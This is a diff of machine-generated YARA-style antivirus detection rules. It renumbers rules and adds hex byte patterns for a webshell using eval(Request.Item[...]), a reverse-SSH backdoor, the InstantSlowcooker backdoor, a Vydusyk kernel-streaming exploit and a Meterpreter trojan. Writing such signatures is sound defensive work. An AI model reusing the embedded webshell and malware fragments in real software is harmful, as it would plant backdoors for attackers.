@@ rule _InfrastructureShared_15125{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*29295+(#a_72_2 & 1)*25857+(#a_6f_3 & 1)*21562) >=1 } -rule _InfrastructureShared_15126{ +rule _InfrastructureShared_16117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -174822,7 +186491,7 @@ rule _InfrastructureShared_15126{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1819) >=2 } -rule _InfrastructureShared_15127{ +rule _InfrastructureShared_16118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -174833,7 +186502,7 @@ rule _InfrastructureShared_15127{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448) >=2 } -rule _InfrastructureShared_15128{ +rule _InfrastructureShared_16119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -174844,7 +186513,7 @@ rule _InfrastructureShared_15128{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*23660) >=2 } -rule _InfrastructureShared_15129{ +rule _InfrastructureShared_16120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -174856,7 +186525,7 @@ rule _InfrastructureShared_15129{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*837+(#a_00_2 & 1)*832) >=2 } -rule _InfrastructureShared_15130{ +rule _InfrastructureShared_16121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -174864,13 +186533,23 @@ rule _InfrastructureShared_15130{ $a_46_0 = {59 32 56 3a 43 49 53 41 5f 43 6f 64 65 5f 4d 65 64 69 61 5f 41 2f 57 45 42 53 48 45 4c 4c 5f 48 41 46 4e 49 55 4d 5f 43 49 53 41 5f 31 30 33 32 38 39 32 39 5f 30 31 00 02 00 21 03 65 76 61 6c 28 52 65 71 75 65 73 74 5b 22 90 01 } //16675 $a_1f_1 = {2c 22 } //-28671 ," $a_61_2 = {65 22 29 90 00 01 00 05 01 65 76 61 6c 28 01 00 23 03 28 52 65 71 75 65 73 74 2e 49 74 65 6d 5b 90 01 01 90 02 23 5d 29 29 2c 22 75 6e 73 61 66 65 22 29 90 00 01 00 26 03 49 4f 2e 53 74 72 65 61 6d 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2e 46 6f 72 6d 5b 90 01 01 90 02 17 5d 90 00 01 00 1c 03 57 72 69 74 65 28 52 65 71 75 65 73 74 2e 46 6f } //28277 - $a_90_3 = {01 90 02 17 5d 90 00 00 00 78 e5 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 52 65 76 65 72 73 65 53 53 48 2e 41 00 01 00 3f 01 2d 2d 66 69 6e 67 65 72 70 72 69 6e 74 09 53 65 72 76 65 72 20 70 75 62 6c 69 63 20 6b 65 79 20 53 48 } //28018 - $a_36_4 = {68 65 78 20 66 69 6e 67 65 72 70 72 69 6e 74 20 66 6f 72 20 61 75 74 68 01 00 43 01 2d 2d 66 6f 72 65 67 72 6f 75 6e 64 09 43 61 75 73 65 73 20 74 68 65 20 63 } //12865 + $a_90_3 = {01 90 02 17 5d 90 00 00 00 78 e5 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6e 74 53 6c 6f 77 63 6f 6f 6b 65 72 2e 41 21 64 68 61 00 01 00 38 01 53 00 74 00 61 00 72 00 74 00 20 00 74 00 6f 00 20 00 73 00 65 00 6e } //28018 condition: - ((#a_46_0 & 1)*16675+(#a_1f_1 & 1)*-28671+(#a_61_2 & 1)*28277+(#a_90_3 & 1)*28018+(#a_36_4 & 1)*12865) >=2 + ((#a_46_0 & 1)*16675+(#a_1f_1 & 1)*-28671+(#a_61_2 & 1)*28277+(#a_90_3 & 1)*28018) >=2 } -rule _InfrastructureShared_15131{ +rule _InfrastructureShared_16122{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6e 74 53 6c 6f 77 63 6f 6f 6b 65 72 2e 41 21 64 68 61 00 01 00 38 01 53 00 74 00 61 00 72 00 74 00 20 00 74 00 6f 00 20 00 73 00 65 00 6e 00 64 00 20 00 48 00 54 00 4d } //16675 + $a_00_2 = {61 00 69 00 6c 00 20 00 2e 00 2e 00 2e 00 01 00 38 01 65 00 6d 00 61 00 69 00 6c 00 20 00 77 00 61 00 73 00 20 00 73 00 65 00 6e 00 74 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 21 00 01 00 34 01 50 00 49 00 44 00 3a 00 20 00 25 00 64 00 20 00 7c 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 } //101 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=3 + +} +rule _InfrastructureShared_16123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174882,7 +186561,7 @@ rule _InfrastructureShared_15131{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28265+(#a_6f_2 & 1)*28271) >=3 } -rule _InfrastructureShared_15132{ +rule _InfrastructureShared_16124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174892,7 +186571,7 @@ rule _InfrastructureShared_15132{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15133{ +rule _InfrastructureShared_16125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174902,7 +186581,7 @@ rule _InfrastructureShared_15133{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15134{ +rule _InfrastructureShared_16126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174914,7 +186593,7 @@ rule _InfrastructureShared_15134{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_15135{ +rule _InfrastructureShared_16127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174925,7 +186604,7 @@ rule _InfrastructureShared_15135{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-11776) >=3 } -rule _InfrastructureShared_15136{ +rule _InfrastructureShared_16128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174936,7 +186615,7 @@ rule _InfrastructureShared_15136{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*30051) >=3 } -rule _InfrastructureShared_15137{ +rule _InfrastructureShared_16129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174947,7 +186626,7 @@ rule _InfrastructureShared_15137{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*29285) >=3 } -rule _InfrastructureShared_15138{ +rule _InfrastructureShared_16130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -174959,7 +186638,7 @@ rule _InfrastructureShared_15138{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*107+(#a_00_3 & 1)*116) >=3 } -rule _InfrastructureShared_15139{ +rule _InfrastructureShared_16131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -174971,7 +186650,7 @@ rule _InfrastructureShared_15139{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_72_3 & 1)*29793) >=3 } -rule _InfrastructureShared_15140{ +rule _InfrastructureShared_16132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -174985,7 +186664,7 @@ rule _InfrastructureShared_15140{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_e5_4 & 1)*0) >=3 } -rule _InfrastructureShared_15141{ +rule _InfrastructureShared_16133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -174997,7 +186676,7 @@ rule _InfrastructureShared_15141{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_95_2 & 1)*4356) >=4 } -rule _InfrastructureShared_15142{ +rule _InfrastructureShared_16134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175008,7 +186687,7 @@ rule _InfrastructureShared_15142{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*79) >=4 } -rule _InfrastructureShared_15143{ +rule _InfrastructureShared_16135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175019,7 +186698,7 @@ rule _InfrastructureShared_15143{ ((#a_54_0 & 1)*18467+(#a_49_2 & 1)*-29875) >=4 } -rule _InfrastructureShared_15144{ +rule _InfrastructureShared_16136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -175032,7 +186711,7 @@ rule _InfrastructureShared_15144{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28668+(#a_90_2 & 1)*9220+(#a_49_3 & 1)*19770) >=4 } -rule _InfrastructureShared_15145{ +rule _InfrastructureShared_16137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -175044,7 +186723,7 @@ rule _InfrastructureShared_15145{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*9217+(#a_02_2 & 1)*29706) >=5 } -rule _InfrastructureShared_15146{ +rule _InfrastructureShared_16138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -175058,7 +186737,7 @@ rule _InfrastructureShared_15146{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*29801+(#a_c0_2 & 1)*17664+(#a_46_3 & 1)*16675+(#a_67_4 & 1)*26992) >=5 } -rule _InfrastructureShared_15147{ +rule _InfrastructureShared_16139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -175074,7 +186753,7 @@ rule _InfrastructureShared_15147{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26992+(#a_00_2 & 1)*29816+(#a_69_3 & 1)*27905+(#a_64_4 & 1)*28479+(#a_6e_5 & 1)*25391+(#a_72_6 & 1)*23606) >=5 } -rule _InfrastructureShared_15148{ +rule _InfrastructureShared_16140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 08 00 21 " @@ -175089,7 +186768,7 @@ rule _InfrastructureShared_15148{ ((#a_77_0 & 1)*16675+(#a_64_2 & 1)*24367+(#a_00_3 & 1)*26736+(#a_63_4 & 1)*27247+(#a_79_5 & 1)*25964+(#a_69_6 & 1)*28229) >=5 } -rule _InfrastructureShared_15149{ +rule _InfrastructureShared_16141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175103,7 +186782,7 @@ rule _InfrastructureShared_15149{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28261+(#a_01_2 & 1)*28793+(#a_75_3 & 1)*29541+(#a_65_4 & 1)*282) >=6 } -rule _InfrastructureShared_15150{ +rule _InfrastructureShared_16142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -175117,7 +186796,7 @@ rule _InfrastructureShared_15150{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*24887+(#a_67_2 & 1)*25189+(#a_6d_3 & 1)*26727+(#a_64_4 & 1)*28534) >=6 } -rule _InfrastructureShared_15151{ +rule _InfrastructureShared_16143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -175131,7 +186810,7 @@ rule _InfrastructureShared_15151{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28276+(#a_65_2 & 1)*8307+(#a_00_5 & 1)*101+(#a_6e_6 & 1)*22273) >=7 } -rule _InfrastructureShared_15152{ +rule _InfrastructureShared_16144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -175146,7 +186825,7 @@ rule _InfrastructureShared_15152{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*1+(#a_80_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15153{ +rule _InfrastructureShared_16145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -175162,7 +186841,7 @@ rule _InfrastructureShared_15153{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*28265+(#a_01_2 & 1)*29811+(#a_61_3 & 1)*28530+(#a_00_4 & 1)*29285+(#a_73_5 & 1)*385+(#a_01_6 & 1)*3840) >=8 } -rule _InfrastructureShared_15154{ +rule _InfrastructureShared_16146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -175179,7 +186858,7 @@ rule _InfrastructureShared_15154{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24930+(#a_54_2 & 1)*-32493+(#a_6f_3 & 1)*29550+(#a_43_4 & 1)*24940+(#a_00_5 & 1)*25909+(#a_65_6 & 1)*385+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_15155{ +rule _InfrastructureShared_16147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -175197,7 +186876,7 @@ rule _InfrastructureShared_15155{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_e5_5 & 1)*0+(#a_43_6 & 1)*3584+(#a_49_7 & 1)*29793+(#a_00_8 & 1)*0) >=9 } -rule _InfrastructureShared_15156{ +rule _InfrastructureShared_16148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -175215,7 +186894,7 @@ rule _InfrastructureShared_15156{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*25927+(#a_01_2 & 1)*1+(#a_e5_3 & 1)*0+(#a_69_4 & 1)*29779+(#a_53_5 & 1)*8448+(#a_74_6 & 1)*384+(#a_6d_7 & 1)*29812+(#a_64_8 & 1)*28524) >=9 } -rule _InfrastructureShared_15157{ +rule _InfrastructureShared_16149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -175233,7 +186912,7 @@ rule _InfrastructureShared_15157{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31073+(#a_76_2 & 1)*20993+(#a_65_3 & 1)*11890+(#a_74_4 & 1)*28018+(#a_72_5 & 1)*28009+(#a_6f_6 & 1)*28279+(#a_5c_7 & 1)*284+(#a_6a_8 & 1)*29268) >=9 } -rule _InfrastructureShared_15158{ +rule _InfrastructureShared_16150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -175248,7 +186927,7 @@ rule _InfrastructureShared_15158{ ((#a_46_0 & 1)*21283+(#a_62_1 & 1)*25199+(#a_5c_2 & 1)*13944+(#a_6e_4 & 1)*28516+(#a_6f_5 & 1)*20564+(#a_41_6 & 1)*30840) >=11 } -rule _InfrastructureShared_15159{ +rule _InfrastructureShared_16151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -175264,7 +186943,7 @@ rule _InfrastructureShared_15159{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-12238+(#a_4c_2 & 1)*8993+(#a_50_3 & 1)*1536+(#a_01_4 & 1)*21080+(#a_4b_5 & 1)*22135+(#a_8e_6 & 1)*5634) >=12 } -rule _InfrastructureShared_15160{ +rule _InfrastructureShared_16152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -175285,7 +186964,7 @@ rule _InfrastructureShared_15160{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*21505+(#a_57_2 & 1)*16985+(#a_72_3 & 1)*29537+(#a_02_4 & 1)*27746+(#a_2f_5 & 1)*18771+(#a_01_7 & 1)*3+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_e5_11 & 1)*0+(#a_37_12 & 1)*24581) >=13 } -rule _InfrastructureShared_15161{ +rule _InfrastructureShared_16153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -175295,7 +186974,7 @@ rule _InfrastructureShared_15161{ ((#a_46_0 & 1)*16675) >=14 } -rule _InfrastructureShared_15162{ +rule _InfrastructureShared_16154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 06 00 21 " @@ -175310,7 +186989,7 @@ rule _InfrastructureShared_15162{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_02_2 & 1)*28532+(#a_91_3 & 1)*27022+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2) >=17 } -rule _InfrastructureShared_15163{ +rule _InfrastructureShared_16155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 07 00 21 " @@ -175321,12 +187000,62 @@ rule _InfrastructureShared_15163{ $a_80_3 = {57 65 62 52 65 73 70 6f 6e 73 65 } //WebResponse 2 $a_80_4 = {47 65 74 52 65 73 70 6f 6e 73 65 } //GetResponse 2 $a_80_5 = {44 65 6c 61 79 } //Delay 2 - $a_e5_6 = {00 96 00 96 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 43 32 46 4d 2e 42 21 64 68 61 00 32 00 7e 01 25 00 73 00 7b 00 25 00 30 00 38 00 6c 00 78 00 2d 00 25 00 30 00 34 00 68 00 78 00 2d 00 25 00 30 00 34 00 68 00 78 00 2d 00 25 00 30 00 32 00 68 00 78 00 25 00 30 00 32 00 68 00 78 00 2d 00 25 00 30 00 32 00 68 00 78 00 25 00 30 00 } //0 + $a_e5_6 = {00 14 00 14 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 56 79 64 75 73 79 6b 00 01 00 10 01 59 55 59 32 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 10 01 76 69 64 73 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 0a 00 6b 73 70 72 6f 78 79 2e 61 78 01 00 0b 00 4b 73 43 72 65 61 74 65 50 69 6e 01 00 0a 00 6b 73 75 73 65 72 2e 64 6c 6c 01 00 } //0 condition: ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*563+(#a_91_2 & 1)*27022+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_e5_6 & 1)*0) >=18 } -rule _InfrastructureShared_15164{ +rule _InfrastructureShared_16156{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 56 79 64 75 73 79 6b 00 01 00 10 01 59 55 59 32 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 10 01 76 69 64 73 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 0a 00 6b 73 70 72 6f 78 79 2e 61 78 } //16675 + $a_00_1 = {4b 73 43 72 65 61 74 65 50 69 6e } //1 KsCreatePin + $a_00_2 = {6b 73 75 73 65 72 2e 64 6c 6c } //1 ksuser.dll + $a_00_3 = {4b 73 4f 70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 } //1 KsOpenDefaultDevice + $a_00_4 = {44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c } //1 DeviceIoControl + $a_00_5 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 } //1 VirtualAlloc + $a_00_6 = {47 65 74 4f 76 65 72 6c 61 70 70 65 64 52 65 73 75 6c 74 } //1 GetOverlappedResult + $a_00_7 = {70 69 6e 20 73 74 61 74 65 } //1 pin state + $a_03_8 = {68 03 00 2f 00 [0-20] ff 15 } //10 + $a_e5_9 = {00 14 00 14 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 56 79 64 75 73 79 6b 00 01 00 10 01 59 55 59 32 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 10 01 76 69 64 73 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 0a 00 6b 73 70 72 6f 78 79 2e 61 78 01 00 0b 00 4b 73 43 72 65 61 74 65 50 69 6e 01 00 0a 00 6b 73 75 73 65 72 2e 64 6c 6c 01 00 } //0 + $a_73_10 = {70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 01 00 0f 00 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 0c 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 13 00 47 65 74 4f 76 65 72 6c 61 70 70 65 64 52 65 73 75 6c 74 01 } //19 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_03_8 & 1)*10+(#a_e5_9 & 1)*0+(#a_73_10 & 1)*19) >=20 + +} +rule _InfrastructureShared_16157{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 56 79 64 75 73 79 6b 00 01 00 10 01 59 55 59 32 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 10 01 76 69 64 73 00 00 10 00 80 00 00 aa 00 38 9b 71 01 00 0a 00 6b 73 70 72 6f 78 79 2e 61 78 } //16675 + $a_00_1 = {4b 73 43 72 65 61 74 65 50 69 6e } //1 KsCreatePin + $a_00_2 = {6b 73 75 73 65 72 2e 64 6c 6c } //1 ksuser.dll + $a_00_3 = {4b 73 4f 70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 } //1 KsOpenDefaultDevice + $a_00_4 = {44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c } //1 DeviceIoControl + $a_00_5 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 } //1 VirtualAlloc + $a_00_6 = {47 65 74 4f 76 65 72 6c 61 70 70 65 64 52 65 73 75 6c 74 } //1 GetOverlappedResult + $a_00_7 = {70 69 6e 20 73 74 61 74 65 } //1 pin state + $a_03_8 = {ba 03 00 2f 00 [0-20] ff 15 } //10 + $a_e5_9 = {00 4b 00 4b 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 4d 52 21 4d 54 42 00 1e 00 36 03 48 8b 44 24 30 0f b7 40 14 48 8b 4c 24 30 48 8d 44 01 18 0f b7 4c 24 20 48 6b c9 28 48 03 c1 48 89 44 24 28 48 8b 44 24 28 48 8d 15 90 01 02 03 00 48 8b c8 90 00 19 00 36 01 c7 44 24 40 00 00 00 00 48 c7 44 24 30 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_03_8 & 1)*10+(#a_e5_9 & 1)*0) >=20 + +} +rule _InfrastructureShared_16158{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,4b 00 4b 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 4d 52 21 4d 54 42 00 1e 00 36 03 48 8b 44 24 30 0f b7 40 14 48 8b 4c 24 30 48 8d 44 01 18 0f b7 4c 24 20 48 6b c9 28 48 03 c1 48 89 } //21539 + $a_48_1 = {44 24 28 48 8d 15 90 01 02 03 00 48 8b c8 90 00 19 00 36 01 c7 44 24 40 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 } //9284 + condition: + ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*9284) >=75 + +} +rule _InfrastructureShared_16159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -175337,7 +187066,7 @@ rule _InfrastructureShared_15164{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*37) >=150 } -rule _InfrastructureShared_15165{ +rule _InfrastructureShared_16160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -175348,7 +187077,7 @@ rule _InfrastructureShared_15165{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*26047) >=1 } -rule _InfrastructureShared_15166{ +rule _InfrastructureShared_16161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -175365,7 +187094,7 @@ rule _InfrastructureShared_15166{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_65_5 & 1)*28261+(#a_03_6 & 1)*1+(#a_e6_7 & 1)*0+(#a_00_9 & 1)*32) >=1 } -rule _InfrastructureShared_15167{ +rule _InfrastructureShared_16162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -175376,7 +187105,7 @@ rule _InfrastructureShared_15167{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100) >=2 } -rule _InfrastructureShared_15168{ +rule _InfrastructureShared_16163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -175386,7 +187115,7 @@ rule _InfrastructureShared_15168{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15169{ +rule _InfrastructureShared_16164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -175396,7 +187125,7 @@ rule _InfrastructureShared_15169{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15170{ +rule _InfrastructureShared_16165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -175407,7 +187136,7 @@ rule _InfrastructureShared_15170{ ((#a_4c_0 & 1)*21539+(#a_85_1 & 1)*400) >=2 } -rule _InfrastructureShared_15171{ +rule _InfrastructureShared_16166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -175423,7 +187152,7 @@ rule _InfrastructureShared_15171{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*20026+(#a_45_2 & 1)*29807+(#a_01_3 & 1)*15360+(#a_64_4 & 1)*25971+(#a_06_5 & 1)*6168+(#a_72_6 & 1)*28531) >=2 } -rule _InfrastructureShared_15172{ +rule _InfrastructureShared_16167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175435,7 +187164,7 @@ rule _InfrastructureShared_15172{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*8302+(#a_72_2 & 1)*28532) >=3 } -rule _InfrastructureShared_15173{ +rule _InfrastructureShared_16168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175446,7 +187175,7 @@ rule _InfrastructureShared_15173{ ((#a_46_0 & 1)*16675+(#a_11_2 & 1)*9634) >=3 } -rule _InfrastructureShared_15174{ +rule _InfrastructureShared_16169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175458,7 +187187,7 @@ rule _InfrastructureShared_15174{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_2c_2 & 1)*2) >=3 } -rule _InfrastructureShared_15175{ +rule _InfrastructureShared_16170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -175469,7 +187198,7 @@ rule _InfrastructureShared_15175{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*21084) 